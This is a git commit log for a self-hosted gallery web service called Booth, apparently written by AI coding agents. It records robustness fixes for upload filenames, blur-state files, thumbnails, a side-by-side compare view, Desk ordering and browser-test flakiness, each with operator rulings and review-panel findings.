vh 34ac1683ee memory: snapshot for shutdown — nothing in flight; the r3 seam pass and the upload-name lessons split to detail files 2026-09-25 10:51:51 -07:00
vh 1a59242709 memory: r3 arc live and pushed; the upload route's three known gaps 2026-09-24 18:04:37 -07:00
vh 225ba32209 fix(upload): drop what no name can hold BEFORE the dot rule; a cut never manufactures a kind 
Heid bug hunt, hulda, second round on 92c774e:

- A lone surrogate was dropped at the final decode, after the leading-dot
  rule had already run, so "\ud800.forever" came out as .forever, the
  keep marker, and "\ud800.." as "..". The NUL and every unencodable
  character now go first, in one pass, so nothing dropped later can shield
  a dot. Starlette decodes a multipart filename strictly (utf-8, else
  latin-1), so this was not reachable over HTTP; the helper is now right by
  construction regardless.
- A suffix too long to keep was cut like text, and the cut could land on a
  shorter suffix that means something: "….png" out of "….pngxxxx…"
  became an image. A cut that changes classify/doc_kind now has its dots
  neutralised.
- The 16-byte extension threshold was unguarded (every test suffix was 4
  bytes); a .jpeg case pins it.

Falsifiers: tests/mutations/upload_names.toml, 7/7 proved. Not taken here,
as they sit in the upload route rather than this helper: the pickup-id
mkdir outside the try (a FileExistsError race), rmtree(ignore_errors)
hiding a failed cleanup, and a CancelledError skipping cleanup.

vh 92c774e105 fix(upload): a NUL or an over-long name never reaches open() 
safe_upload_name let two names through that the filesystem cannot hold,
and each raised at open(): a 500 with the booth torn down. A NUL raised
ValueError, and a 200-character cap let 200 two-byte characters overrun
NAME_MAX (255 bytes, ENAMETOOLONG). The NUL is now removed first, so it
cannot shield a leading dot from the hide rule. The cap is 200 UTF-8
bytes, cut on a character boundary, and it comes out of the stem: the
extension is what classify reads, so a name that used to fit (80 CJK
characters) keeps its kind.

The NUL test posts a raw multipart body: httpx percent-escapes a NUL in
files=, so the server would see a literal %00 and the test would prove
nothing. Falsifiers in tests/mutations/upload_names.toml, 4/4 proved.
Found by design-dev's r3 heid bug hunt (hulda).

vh d54bb04414 fix(r3): a NUL in the raw file path is a 404, not a 500 
Compare's stages load their pictures through the catch-all file route, which
caught only OSError around resolve(); an embedded NUL raises ValueError. Same
class as resolve_booth's fix in f8d136a (heid bug hunt on the race fix,
hulda). The upload route's NUL-in-filename 500 is the same class and is left
to booth-dev: it is not on compare's path.

vh 64b403f7eb test(r3): re-anchor the review's C-key row on the guarded handler 2026-09-24 16:00:01 -07:00
vh 8633b1dded fix(r3): judge each rel once per request — a side or review item that vanishes mid-request never 500s 
booth-dev's race note after the merge: the compare route resolved each side
in _compare_side and again in _compare_ring, then ring.index(a) raised if the
file vanished (or was relinked outside the booth) between the two; the review
did the same through cring.index(f). The compare ring is now built once and
the sides are judged by membership of it. The review re-judges its item and
scans forward for the next comparable one (usually one step, no longer a
resolve of the whole ring per render); an item no longer comparable renders
the review without a Compare control, and C does nothing.

The contract records the once-per-request rule and that the phone-width wrap
covers doc.html's bar too. r3.toml: 59 rows, four re-anchored.

vh cf08ae3f33 docs(roadmap): r3 landed — the compare ring and stepping rules, compare mode off the parking lot 
The stale v1.1 line for compare pairing is corrected to the 2026-09-24
ruling (pairs are picked, never detected). persistent-memory records r3
live and unpushed, and the open race note for design-dev.
 2026-09-24 15:57:42 -07:00
vh f8d136a521 fix(r3): fold heid's bug hunt — no link offers a pair that 404s, NUL booth names, a FIFO marker, encoded view-state names 
Navigation was built from the review ring while the compare GET also demands
containment, so an outside symlink (which stays in the ring) was offered by
the strip, the steps, the review's Compare control and the flag landing, and
404ed on arrival. Every one is now built from the compare ring (the review
ring filtered by the same conjunction, _in_booth).

Two pre-existing gaps compare inherits, fixed at the source: resolve_booth
caught only OSError, so a NUL in the booth segment was a 500; record_view
opened its marker blocking, so a planted FIFO hung every look. Plus: the page
treats %73ide=a as side=a, and the subgrid engine floor is stated. Two
findings refuted (a chorded click mid-drag never fires pointerup, measured;
booth_items never yields an unquotable rel). r3.toml: 57 rows.
 2026-09-24 14:39:06 -07:00
vh 23f1bdb41f fix(r3): fold heid's code review — equal stage widths, the axis guard, players, and tests that read the observable 
The one drift: the separator was a border on B, making B's stage 1px
narrower than A's; it is now a 1px column gap, so the stages are the same
size to the pixel. Tests now read what the contract promises instead of a
proxy: the strip's ring order, the full bakeoff sequence, 1:1 and Fit by
geometry, the 900px break from both sides, A wrapping, each form naming its
own item, a sibling-prefix symlink, both reveals, the strip's flag, the back
arrow unlinked, a one-axis picture, a focused player, two videos with no
toggle. The contract names .cmp-cap, a press on a stage, INV-4's URL-driven
picker and the redirect branch's isinstance check. r3.toml gains ten rows.
 2026-09-24 13:54:29 -07:00
vh 8c7fe77841 feat(r3): compare — two picked rels side by side, linked stepping, synced pan, flag the winner 
GET /b/{name}/compare with the conjunction 404 (containment AND the review
ring), both sides recorded as seen, view state (side, link) mapped from a
closed set onto every link, side-keyed regions, and back=compare in
_mark_redirect. compare.html: two stages sharing one set of rows, the strip
as picker (the side active now), linked and per-side stepping, X/L/Z/A/B/C
keys under the review's guards, synced pan by fraction with an echo guard,
per-side blur reveals, JS-off parity.

The stage machinery moves out of view.html into _stage_js.html
(BoothMode.bind, BoothStage.attach), shared by the review and compare. The
review gains a Compare control and a C key. At phone width a full top bar
wraps.

Tables: r2c's 15 stage rows re-pointed to _stage_js.html; r2b's phone
top-bar row re-anchored (the wrap made it vacuous alone); new r3.toml. The
contract records the wrap, equal stages and C on the compare page.

vh 5d785fe3c4 docs(contract): r3 compare — two picked items side by side, linked stepping, synced pan, flag the winner 
Restores the contract as it stood at 1593ea2 (proposed a8428dc, booth-dev's
seam pass folded ebd7729/33d9175/05ad6c4, heid's contract panel folded
1593ea2). Those commits lived only in a work clone under /tmp, which the
2026-09-24 reboot wiped; the text is unchanged.

vh 8a78a9bd1d fix(blur): writes are strict, so a set the writer cannot read is never overwritten 
groa's late retry on the blur bug-hunt, adjudicated against the landed code.
Its four bugs were already fixed, but a robustness note (mkstemp's 0600 locks
out a reader under another uid, which then "sees nothing and replaces it")
pointed at a real gap. set_blurred built on read_blurred, the renderer's
lenient reader, which turns an unreadable, oversized or malformed
`.blurred.json` into an empty set. The writer then replaced the file, and
whatever it held was gone. This is the `.marks.json` wipe of 2026-09-21 in a
new module, and it shipped for a night.

- `_load` is the one parse with two postures. read_blurred maps its refusal to
  "nothing blurred" (a damaged file costs the blur, never the page).
  set_blurred lets it raise BlurUnwritable, which the route answers with 409
  and the CLI with exit 3, and changes nothing.
- It refuses only for a REGULAR file it cannot read. A link, a directory or a
  FIFO at either name holds no set anyone wrote, so it reads as empty, and the
  postcondition judges whether the write can land: a link is replaced, a
  directory refused.
- The file is 0644 again, as the line-format writer left it (fchmod after
  mkstemp).

The open flags in `_read_capped` became a second layer behind the new lstat
check, and the mutation run caught their rows VACUOUS through the public API.
They are now held to account by direct tests, because they still close the
lstat-to-open race. blur_storage.toml: 25/25. No second panel was run: this
folds one reviewer note plus the repo's own recorded lesson, with a test and
a proved row for each behaviour.

vh 7d4a26f486 memory: r2c live, the push, and a relayed approval that was held 2026-09-24 00:33:41 -07:00
vh fde082e733 merge(r2c): the review stage fills, its arrows sit at the picture, 1:1 pans 
design-dev's r2c round, merged on the operator's direct approval. It answers
his ask from 2026-09-23: fit and 1:1 modes, arrows at the image's edge rather
than the stage's, and click-and-pan in 1:1 with native image drag defeated.

- Fit fills the stage, up or down, with or without JS; 1:1 is natural pixels,
  and every pixel is reachable. The operator ruled that Fit may enlarge.
- The toggle shows for every picture. The mode lives on <html> as `stage-one`,
  set by the head script before the stage exists, so a 1:1 reel never flashes
  Fit. It persists per viewer in localStorage (inside a try) and follows other
  tabs.
- The arrows sit 8px outside the drawn picture, clamped inside the stage.
- 1:1 drag-to-pan: grab convention, a 4px threshold, pointer capture, and the
  picture is not draggable.

Templates only (view.html, base.html); no server change. The two test changes
are declared in r2c_review_stage.contract.md: the r2b reveal test asserts "no
blur" (Fit keeps a drop shadow), and the r2_flow 360px-arrow row is retired
with successors in r2c.toml. Contract panel and both code panels 4/4.
 2026-09-24 00:30:05 -07:00
vh 7c879e6038 fix(review): the heid code-review and bug-hunt panels on r2c, folded (both 4/4 with retries) 
- 1:1 start-aligns. The centred flex item overflowed both sides and the
  start was unreachable; measured, a 3000px picture hid its leftmost
  980px. Auto margins still centre a small picture.
- Drag lifecycle: a move with no button ends the drag, so a press
  released outside the stage never pans on a later hover. Capture is now
  load-bearing in a test. The threshold is 4px of total movement.
- A press on the stage's own scrollbar is never a pan. The arrows clamp
  to the stage's client box, so they are never under a classic
  scrollbar. The test runs a browser without --hide-scrollbars and
  asserts the gutter exists.
- Stacked, the arrows' CSS spot is the stage's centre (30vh), set in
  view.html because base.html lost to the page's later rule.
- The stage reveal is `hidden` until bound, and keeps Fit's drop shadow
  when revealed. A blurred picture composes blur() drop-shadow().
- The mode follows another tab. A failed or unknown size returns the
  arrows to their CSS spot.
- Tests: object-position, vertical centring, the Fit half of
  aria-pressed, a storage read that throws, a large picture's toggle,
  Fit forgetting 1:1, single-axis pan.
- Declared: the r2b reveal test reads "no blur" (the shadow stays), and
  the r2_flow 360px-offset row is retired.

Mutation tables 137/137 across four. 810 passed.

vh 7151a45ec2 feat(review): the review stage fills, its arrows sit at the picture, 1:1 pans (r2c) 
The operator: "fit and 1:1 modes as well as moving the forward and back
arrows closer to the edge of the image ... mouse click and pan for 1:1
mode if it exceeds page width (defeat drag drop of image)". Ruled: "Fit
may enlarge."

- Fit: the picture's box is the stage's inner box, and object-fit: contain
  draws it whole at the largest size that fits, up or down, never
  cropped. It works with or without JS. 1:1 is natural pixels.
- The Fit | 1:1 toggle shows for every picture; the per-picture hide is
  gone. It stays hidden without JS.
- The mode persists as `stage-one` on <html>, set by the head script
  before the stage exists, so a 1:1 reel never paints a stage in Fit.
  Anything stored but "one" reads as Fit. Storage never raises.
- The arrows sit wholly outside the DRAWN picture (near edge 8px),
  clamped 8px inside the stage. They sit over the picture only when it
  spans the stage, and never over the rail. They are re-placed on load,
  resize, mode switch and 1:1 scroll, and keep their CSS spot until the
  drawn box is known.
- 1:1 drag-to-pan when the picture overflows either axis: the picture
  follows the pointer, a 4px threshold, pointer capture, grab/grabbing.
  The picture is draggable=false. The stage's reveal button moves out of
  the scrolled content to sit over the stage (a pan carried it off), so
  no control is a pan source.

Contract docs/contracts/r2c_review_stage.contract.md (heid contract
panel 4/4 folded; it changed the no-flash mechanism). Declared test
changes: the Nyx stage-edge arrow test is replaced; the stage class and
the toggle's `hidden` are updated. tests/mutations/r2c.toml 16/16. 803
passed.

vh 0781aa5ee5 docs: a GET of a booth page records a look, so live checks must not sweep :8090 
Two sessions' post-deploy sweeps on 2026-09-23 recorded a look at every booth,
which emptied "new since you looked" and collapsed the Desk's last section
into reverse name order. CLAUDE.md now says how to check the live service
without recording anything, and persistent-memory records the Desk ruling and
the three booths it hid.
 2026-09-23 23:08:19 -07:00
vh 1d31ab05de merge(thumbs): thumbnails sized for the tile's width at 2x, and a cache that cannot be planted 
Operator-approved 2026-09-23 ("fix it, one bigger thumbnail"), after his
report that sindra-nude-final looked "blurry until selected". c2b1454 sizes
thumbnails at 768 wide (the widest desktop tile, doubled for a 2x screen) and
caps them at 4096 tall. A browser test holds the number against the rendered
grid. c19d8c9 folds the heid bug-hunt (4/4 arms, five seat-executed probes):
cache hits must be regular files carrying the source's exact mtime, the cache
dirs never follow a link, the temp file is mkstemp, palette alpha and EXIF
orientation survive, and there is a 64 MP decode budget. 828 passed on the
branch; thumbs.toml 14/14.
 2026-09-23 23:07:07 -07:00
vh 6880ab3059 merge(blur): the blur set round-trips any rel, in .blurred.json, with one writer 
Operator-ruled 2026-09-23 ("fix the blur"). 4cfbce5 is the fix: a JSON-array
blur set through stdlib-only booth/blur.py, shared by the service and `booth
blur`, plus Item.blurred_self so blur state has one reader. c1f5543 folds the
heid bug-hunt on it (hulda, regin, kimi). The format moves to its own name,
.blurred.json, because sniffing one file for two formats recreated the
wrong-item bug. The writer is judged by its reader, so a planted directory is
a 409 and not a 500. A lone surrogate is dropped, the writer respects the
reader's size cap, and the route and the CLI share one check_rel predicate.
853 passed on the branch; blur_storage.toml 20/20.
 2026-09-23 23:07:07 -07:00
vh c19d8c9718 fix(thumbs): fold the heid bug-hunt: a cache that cannot be planted, alpha, orientation 
The heid bug-hunt panel on c2b1454 (4/4 arms, five seat-executed probes). The
new size rules governed only cache MISSES; the hit path trusted a name and an
mtime, inside a directory any fleet session can write into.

- A cache hit is a REGULAR file (lstat) carrying its source's EXACT mtime (4/4).
  A planted directory at the cache path was returned as the thumbnail, and a
  source replaced by `cp -p` or an archive extract kept an older stamp that
  `>=` served forever. The encoder now stamps the thumbnail with the source's
  mtime, so any change to the source is a miss.
- The cache directories are made component by component and never through a
  link (seat P4). A `.thumbs` planted as a link put the cache outside the
  booth, beyond the sweep. The booth-mtime restore now keys on creating
  `.thumbs` itself.
- The temp file is mkstemp (4/4, seat P5). The old `<out>.<pid>.tmp` was
  predictable, and a link planted there made the encoder overwrite its target
  (600 B became 316,400 B).
- Palette transparency survives (3/4, seat-executed, and INTRODUCED by
  c2b1454). The fits-but-heavy branch newly re-encoded palette PNGs, and
  getbands() of mode P has no A even with tRNS.
- EXIF orientation is honoured for sizing and for the saved image (groa,
  seat-verified). A camera portrait stored sideways was sized and tiled as a
  landscape.
- A 64 MP decode budget (2/4). A header claims any size, and a failure is not
  cached, so every request re-decoded it.
- The cache name carries the whole rule: width, height cap, quality and an
  encoding version (groa). The width alone would have served stale bytes after
  a quality change.

Declined: the utime-restore failing on a foreign-owned booth (booths are the
service user's), and regin's two solos (the THUMB_MAX export is not imported
anywhere; the live fixture is function-scoped). thumbs.toml: 14/14 proved.
 2026-09-23 23:06:45 -07:00
vh c1f5543b77 fix(blur): fold the heid bug-hunt: two file names, a reader-judged writer, one predicate 
The heid bug-hunt panel on 4cfbce5 (hulda, regin, kimi; groa timed out) found
four real defects in the round-trip fix, and three of its arms converged on the
worst: it re-created the bug it existed to fix.

- Two names, never a sniffed file (3/3). JSON went into the OLD `.blurred`, and
  the reader guessed the format from the bytes, so a legacy file whose one line
  is an item named `["a.png"]` read as {"a.png"} and blurred the neighbour. The
  set now lives in `.blurred.json`, JSON only. The legacy `.blurred` is read as
  lines only, and only while `.blurred.json` is absent; the first write retires
  it, after the new file is in place.
- A planted directory is a 409, not a 500 (2/3 plus a third angle, executed by
  the seat). The reader was hardened against it and the writer was not:
  os.replace and unlink raised IsADirectoryError through the route. Now the
  writer is judged by its reader: set_blurred re-reads after writing and raises
  BlurUnwritable unless the set on disk is the set asked for. That one check
  covers a directory at either name, a permission and a race.
- A lone surrogate is dropped on read (hulda, executed). `"\ud800"` is a valid
  JSON string that no filename can produce, and the UTF-8 encode raised on it
  at every later write.
- The writer respects the reader's size cap (2/3). Nothing capped the write,
  and the reader reads an oversized file as EMPTY, which reveals everything.
- One predicate, check_rel, for the route and the CLI (2/3). The CLI's `*..*`
  substring guard refused `a..b.png`, which the route accepts. It also refuses
  an empty path now (regin, kimi), and every item is checked before any is
  written.
- `booth blur` fails closed, with a message and exit 3, when its package is
  missing (kimi), as `link` already does.

Declined, with reasons: the Item positional-constructor break (booth_items is
the only constructor, INV-1), the fdopen fd leak and the short read (not
constructible on a local filesystem, and the `.seen` shape), and
unreadable-reads-as-revealed (blur is cosmetic; the `.seen` posture).
blur_storage.toml: 20/20 proved. One row came back VACUOUS on its first run,
because `set() or X` is X, and was rewritten before counting.
 2026-09-23 23:01:18 -07:00
vh 64f64889a2 fix(desk): "everything else" is last UPDATED first, not last activity 
The operator, on the live Desk: "how is this last activity first?" It was not,
usefully. The section sorted by `_newest_mtime`, which counts a look (`.viewed`),
so opening a booth moved it up. Tonight two post-deploy checks fetched every
booth page within half a second, which recorded 22 looks at once and collapsed
the section into reverse name order through the (mtime, name) tie-break.
Meanwhile each row shows "updated X ago", which is `landed_at`, a different
clock from the one the list was sorted by.

Operator ruling: "last activity can just be last time the booth was updated,
not necessarily operator's last activity." The section now sorts by
`(-landed_at, name)`, the date the row shows, labelled "last updated first".
Looking, flagging and blurring no longer move a booth. `list_booths` keeps its
own order for its other readers, and `_newest_mtime` still feeds lifetime.

The r2_flow contract (§3, the ordering table, INV-5) and ROADMAP's ordering row
are amended to match. Two tests and two r2_flow.toml rows cover it (25/25).
 2026-09-23 22:55:10 -07:00
vh c2b1454358 fix(thumbs): size thumbnails for the tile's width at 2x, not 512 on the long side 
The operator on sindra-nude-final: "the images look blurry until they're
selected and blown up." The cap was 512px on the LONGEST side, which the
comment called "comfortably above any tile size", and it was, for a square. A
gallery tile is sized by its WIDTH, though, and a 704x1408 portrait got 256px
of width for a tile Chromium renders at 361 CSS px. That is 1.4x stretched at
1x density and 2.8x on a 2x screen. The review stage serves the original,
which is why it looked sharp once opened.

- THUMB_WIDTH = 768: the widest desktop tile (3 columns, 1440px and up,
  measured at 321-361 CSS px across viewports) doubled for a 2x screen.
  THUMB_HEIGHT_MAX = 4096 stops a long screenshot going through at full height.
- An original that fits the bounds is served as-is only when it is also light
  (<= 64 KB; 768-wide thumbnails average 39 KB over the 381 live images) or
  animated, since a thumbnail is one frame. Fitting a tile in pixels is not
  being cheap in bytes: these portraits are ~1.1 MB PNGs.
- The size rule is in the cache name (`<rel>.768w.webp`). The live 512-cap
  thumbnails are newer than their sources, so the mtime check alone would have
  served them forever. The old files are orphans, swept with their booth.
- tests/test_thumbs_browser.py holds THUMB_WIDTH against the rendered grid at
  1440, 1920 and 2560. The constant is a layout number, and a redesign that
  widens the tiles turns it red instead of soft.

Measured cost, all 381 live images: 4.8 MB -> 14.2 MB of thumbnails, still ~27x
under the 386 MB of originals. Known limit: the 2-column (<=472px) and 1-column
(<=650px) reflows are softer than 768 covers at 2x. tests/mutations/thumbs.toml
proves 7 falsifiers.
 2026-09-23 22:23:03 -07:00
vh 4cfbce5109 fix(blur): .blurred round-trips any rel, and one writer serves both surfaces 
The heid bug-hunt on r2b merge 1 found the /blur route stripping `f` before
writing, so the form for " a.png" blurred its neighbour "a.png". The route was
only half of it: `.blurred` was one stripped rel per line, so no writer could
store a rel with a leading space or a newline, whatever the route did.
Operator-ruled 2026-09-23 ("fix the blur").

- booth/blur.py (new, stdlib-only): read_blurred / set_blurred / BLUR_FILE.
  `.blurred` is now a JSON array in sorted order, the `.seen` shape: opened
  O_NOFOLLOW | O_NONBLOCK with an S_ISREG check and a 1 MiB cap, so a planted
  symlink is refused and a FIFO can no longer hang every Desk render (the old
  read_text() blocked on one). Writes go through mkstemp + os.replace. The
  legacy line format is still READ, so the 6 live line-format files keep their
  blur until their next write upgrades them. Measured before the change: 42
  live rels, none with edge whitespace, so the defect had no live victims.
- The route no longer strips `f`.
- scripts/booth `blur`/`unblur` go through booth.blur.set_blurred instead of
  their own grep/printf line writer. Two writers of one format is how the
  formats drift, and after this change the shell writer would have appended a
  line to a JSON array. Every path is checked before anything is written.
- Item.blurred_self (appended to the record): the item's own blur, resolved in
  booth_items from the same read as `blurred`. It replaces build_gallery's
  second read_blurred, which a write between the two reads could split
  (invariant 3). app.py no longer reads blur state at all, and a test asserts
  it.

Names stay importable from booth.app and booth.items (invariant 4). blur joins
test_stdlib_only. test_cli's per-item-survives test now reads through the reader
rather than asserting the old byte format. The r2b contract and its mutation
row follow blurred_self onto the record. tests/mutations/blur_storage.toml
proves 12 falsifiers by running the change each forbids.

Not in this change, and still ours: the "off"-means-ON idiom drift between
/blur, /blurbooth and /flag (forms only ever send 0/1), and the CLI's
`.blurbooth` touch following a symlink where the service no longer does.

vh cce6a20abe merge(r2b): the Desk row, booth dates, and the theme toggle 
design-dev's r2b merge 2 (D1 + D1b + D3), merged on the operator's approval
with both heid panels folded (code review and bug hunt, 4/4 each), landed after
merge 1 and its live check so a live regression points at one of the two.

436d234 is the feature. The Desk row gets an always-visible lifetime pill (kept,
held, counting), with zip / keep|release / wipe floating over the preview strip
on hover or focus and taking no room; on touch they are the row's last line.
Booth dates render on the row and the booth header from created_at (statx birth
time) and landed_at: four never-raise date filters in app.py, one `now` per
page, and a date the filesystem cannot give or the calendar cannot hold renders
nothing. The System / Light / Dark toggle is stored per viewer, applied before
first paint, and reaches the ask chrome embed.js mounts inside verbatim pages
(only the fragments it mounted; an author's own .bk-ask is never marked).
_svos_tokens.css is re-vendored at the same SVOS SHA with a scoping-only
transform.

1558a7f folds both panels.
 2026-09-23 21:44:14 -07:00
vh b92b00215f merge(r2b): reveal all, and the booth blur control 
design-dev's r2b merge 1 (D2 + D2b), merged on the operator's approval after
design-dev's "merge it" with both heid panels folded (code review and bug hunt,
4/4 each).

5ded5ff is the feature: a per-viewer "reveal all" for blurred items, and the
whole-booth fog control on the booth page, the review and the Desk. 75623c7
folds both panels, and two of its edits land in our code. set_booth_blurred no
longer touch()es through a planted .blurbooth symlink: anything already at the
name reads as fogged and nothing is written, otherwise it creates with
O_CREAT|O_EXCL|O_NOFOLLOW (the class record_view was hardened against).
booth_blur_all only redirects back to the review for a member of the review
ring, as the mark routes do.

20f1cb8 and ca0641f are test-only: opt-in Playwright traces for failing browser
tests, then a test browser with no internet in both fixtures, each with a
positive control (an external host fails fast, a Booth page still goes idle).
The flake's cause is NOT confirmed: 0 reds in 24 untraced runs after the change
is consistent with the fix but no trace ever caught the stalled request.

vh 1558a7fa07 fix(desk): the heid code-review and bug-hunt panels on r2b merge 2, folded 
The bug hunt (4/4) and code review (4/4) were both clean on mechanism.
Their shared catch was the one-sided minute check.

Dates:
- The date filters never raise. One clock outside the calendar's range
  500'd the Desk for every booth, because every row renders in one
  response. An unrenderable date now renders nothing.
- "Updated" shows whenever it differs from "created" by a minute or more,
  either way. Copied content is often older than its folder.
- A clock ahead of now shows its date, never "just now".
- A day is 24h ("1d ago" never appeared).
The row:
- The controls are last in the markup, so the booth's name comes first in
  tab order and wipe last. The cluster is placed over the strip from the
  row's box.
The theme:
- A choice made in one tab moves the Booth's other open tabs.
- The theme mark goes only on ask fragments the embed mounted.
Tests, strengthened after the code review:
- the pill is visible at rest;
- keyboard focus reveals the controls;
- the controls act with scripts off;
- Reveal all reaches the doc page;
- the high-contrast check reads tokens that actually differ;
- the art-light extras are written from SVOS, not derived from the
  copies;
- two overstated mutation rows are replaced (one was a runtime no-op, one
  went red through a syntax error).
Contract amended.

r2b.toml 55/55 proved. 799 passed.

vh 436d234ca0 feat(desk): the Desk row, booth dates, and the theme toggle (r2b merge 2: D1 + D1b + D3) 
Operator rulings, 2026-09-23.

D1, the Desk row:
- Kept vs ephemeral reads at a glance: an always-visible lifetime pill in
  the right column (sage ★ kept, amber held, ◷ counting down).
- The facts line is facts only.
- zip / keep|release / wipe are one cluster, with zip out of the middle.
  Where a real hover exists it floats over the preview strip (covering
  pictures, never information), appears on hover or keyboard focus, and
  takes no room. Anywhere else (touch, any coarse pointer) it is the
  row's last line, visible, with 32px controls. × hides too (the operator
  answered yes).
D1b: "created 12 Sep" (filesystem birth time; nothing when unknown) and
  "updated 5d ago" (the content clock), as <time> facts on the row and in
  the booth header, from one macro and one clock per page.
D3, the theme toggle: System · Light · Dark in the top bar.
- Stored in localStorage and applied in <head> before any stylesheet.
- System removes data-theme, so the OS query follows the OS live, with
  no listener.
- The token sheet is re-vendored at the same SVOS SHA with a scoping-only
  transform (155 declarations, the same set, both directions), so forced
  themes win over the OS and high contrast follows the theme in effect.
- The ask chrome inside verbatim pages follows the choice through
  data-bk-theme on our own fragments, live across tabs. The host page's
  <html> is never touched.

Declared test changes:
- two row tests replaced;
- the wipe-dialog test hovers first;
- four r2_flow rows retired, with successors in r2b.toml (45/45).
785 passed.
 2026-09-23 19:25:32 -07:00
vh ca0641f55b test: the browser tests run with no internet 
Every Booth page asks fonts.googleapis.com for its faces, and
wait_until="networkidle" waits for that request. A stalled request to
Google therefore held a page until goto's 30s timeout. That is the
failure the full-suite flake shows: Page.goto timeouts in tests far apart
within one run. A stalled font request reproduces it exactly.

Whether that was THE cause is not proven:
- 23 traced runs went green, against 1 red in 8 untraced;
- no trace captured the pending request.
A test that depends on Google being reachable is wrong regardless.

Both browser fixtures now launch Chromium with every hostname but
127.0.0.1 failing DNS at once. Pages fall back to the system font stacks
the tokens declare. Positive control in each file: an external host fails
with ERR_NAME_NOT_RESOLVED in under 3s, and a Booth page still goes idle.
Mutation-proved (r2b.toml 28/28). 776 passed.
 2026-09-23 19:05:12 -07:00
vh 20f1cb8594 test: opt-in Playwright traces for browser tests that fail 
The browser tests flake under full-suite load only; every failing test
passes alone. BOOTH_TRACE=1 keeps a full trace (screenshots and DOM
snapshots) for each browser test that fails. BOOTH_TRACE=light keeps
actions and network only, because the full mode perturbs the timing it
watches: 0/8 red traced against 1/8 untraced on the same tree. Off by
default. Positive control: a deliberately failing test keeps a trace,
and a passing one keeps nothing.
 2026-09-23 18:41:32 -07:00
vh 75623c7dbc fix(blur): the heid code-review and bug-hunt panels on r2b merge 1, folded 
Both panels ran 4/4 on 5ded5ff. They converged on the board and doc-page
gaps independently.

- A board holding files lost both blur controls (they sat inside the
  board suppression meant for the one-click wipe), while its items'
  "◉ booth" labels pointed at them. Only the wipe is board-suppressed now.
- A blurred doc's own full page rendered clear. Its body is blurred there
  too, with its own reveal and a Reveal all to put the blur back.
- set_booth_blurred followed a planted .blurbooth symlink (`touch`), and
  the new control made that a click away. Anything at the name already
  reads as fogged; otherwise it is created O_CREAT|O_EXCL|O_NOFOLLOW.
- The fog landing echoed `back` unchecked into the 303. It is now built
  from the review ring, as the mark routes do.
- The fog form is its own region, so an in-place save refreshes its
  label. Reveal all stays outside every region: its state lives in the
  tab.
- The review's Space-to-advance no longer swallows Space on a focused
  button or link.
- Top-bar controls stay on one line at phone width.
- Tests tightened:
  - method="post" on the fog forms;
  - exact blur values;
  - a storage READ that throws;
  - an item's own reveal carried across a swap;
  - reveal gated where it can act.

r2b.toml: 26/26 proved. 774 passed.

vh 37d859c0fd memory: snapshot for context clear — the arc mid-flight, and the one thing that blocks 
In-flight rewritten to what is actually live: design-dev's blur merge is HELD
at 5ded5ff awaiting his explicit 'merge it' ping (both panels dispatched 17:53,
unfolded), the redesign and thumbnails and dates are shipped, and the browser
suite is flaky under load and NOT fixed.

Two detail files added. The dates one is the reusable lesson: three plausible
proxies for a creation date were considered and one was nearly built, and the
real answer was a syscall away — the system already recorded what looked
unavailable. One of the rejected proxies was write-on-read, a shape this repo
had finished paying for hours earlier.

The flake entry is written as OPEN with its limits stated: three tests, two
real defects fixed, neither proven causal, and n=3 cannot show an improvement.

Recent decisions and Tried and abandoned preserved intact (49->51 by addition,
7 unchanged); the index is back under the soft cap at 141 lines from 285, all
of the reduction from settled history leaving the volatile section.
 2026-09-23 17:56:50 -07:00
vh 5ded5ffe55 feat(blur): reveal all, and the booth blur control (r2b merge 1: D2 + D2b) 
The operator ruled blur A, and made it urgent: "per booth blurring is now
important since we are showing up to 4 images."

- Reveal all: one control per booth, in the booth header and the review's
  top bar, outside every data-region. It is in the markup only when
  something is blurred, always `hidden` until the script shows it.
  - The state is sessionStorage per booth, per tab, and nothing reaches
    the server. It is carried as one `reveal-all` class on <html>, applied
    before first paint from the page's own data-booth, so booth A's reveal
    cannot follow you into booth B and the index is never revealed.
  - Per-item reveal buttons stand down by stylesheet, and an item's own
    reveal is never touched, so "blur again" restores each item as it was.
  - A storage write that throws still applies the click.
- The booth blur control: a plain form to booth-dev's POST /blurbooth, so
  it works with scripts off. Its label follows is_booth_blurred; from the
  review it carries `back` and lands on the same item. A fogged booth's
  Desk row says "◉ blurred".
- Found by rendering it: under a fogged booth every item reported
  `blurred`, so an item blurred only by the booth offered an un-blur that
  visibly did nothing. The gallery now carries `blurred_self`, and such an
  item shows "◉ booth", a label rather than a control.

Contract docs/contracts/r2b_desk_reveal_theme.contract.md (heid contract

 2026-09-23 17:52:33 -07:00
vh 091f4b5f2d feat(dates): creation and update times for every booth, from the filesystem 
The operator: "I think I want creation and update dates on the booths now too."

UPDATE was already there — `landed_at`, the newest mtime among CONTENT
excluding our own machinery, which the Desk already sorts "new since you looked"
by.

CREATION had no honest source. `.booth.json` carries a declared `created`, but
only for booths posted through the CLI since U5 — TWELVE OF THIRTY live booths
had none. Every alternative was a guess wearing a fact's clothes: oldest content
mtime is wrong the moment an agent copies files with timestamps preserved;
directory mtime is just "last thing added", which is landed_at renamed; and
stamping a first-seen marker on read is the same write-on-read shape that spent
an hour of today aging the booth it cached.

ext4 records a real birth time. CPython does not expose st_birthtime on Linux,
so booth/birthtime.py reads it through statx(2) — a fact the disk already holds
rather than one we invent. Verified against stat(1) on live booths, 6 of 6
exact, including every booth with no manifest. ONE rule for all thirty, which is
what invariant 6 asks of anything statable in a line.

None when the filesystem cannot say (tmpfs, NFS, an old kernel), and None
renders as nothing — the honest output when nobody knows. Never raises:
list_booths calls it once per booth on every index load, so a read that can
raise is a service-wide outage wearing a single-booth bug's clothes.

ALSO TWO REAL TEST-HARNESS DEFECTS, found chasing a flake and fixed on their
merits rather than because they were proven to be the cause:

- The keyboard-flag browser test fired ArrowRight and `f` back to back,
  assuming the first had finished — and focus() does a scrollIntoView, so under
  load `f` could arrive with no cursor and flag nothing. It now waits for the
  cursor to land.
- BOTH browser fixtures did bind -> getsockname -> CLOSE -> hand uvicorn the
  port NUMBER, leaving a window for the kernel to give that port to somebody
  else. This suite runs two browser files that each start a server per test, so
  the competitor is right there. The bound socket is now handed over directly.

⚠ THE FLAKE IS NOT PROVEN FIXED. Two different browser tests failed once each
across full-suite runs while passing 3/3 and 5/5 in isolation; since the fixes,
one failure in three runs. n=3 cannot distinguish that from the prior rate and
this commit does not claim it does.

770 green on a clean run.
 2026-09-23 17:48:30 -07:00
vh cecd877f60 memory: the design arc mid-flight — blur landed, UI pending, and what not to do 
A fresh session needs four things that are not derivable from the code: that
design-dev is shipping in two merges with blur first, that the booth-blur
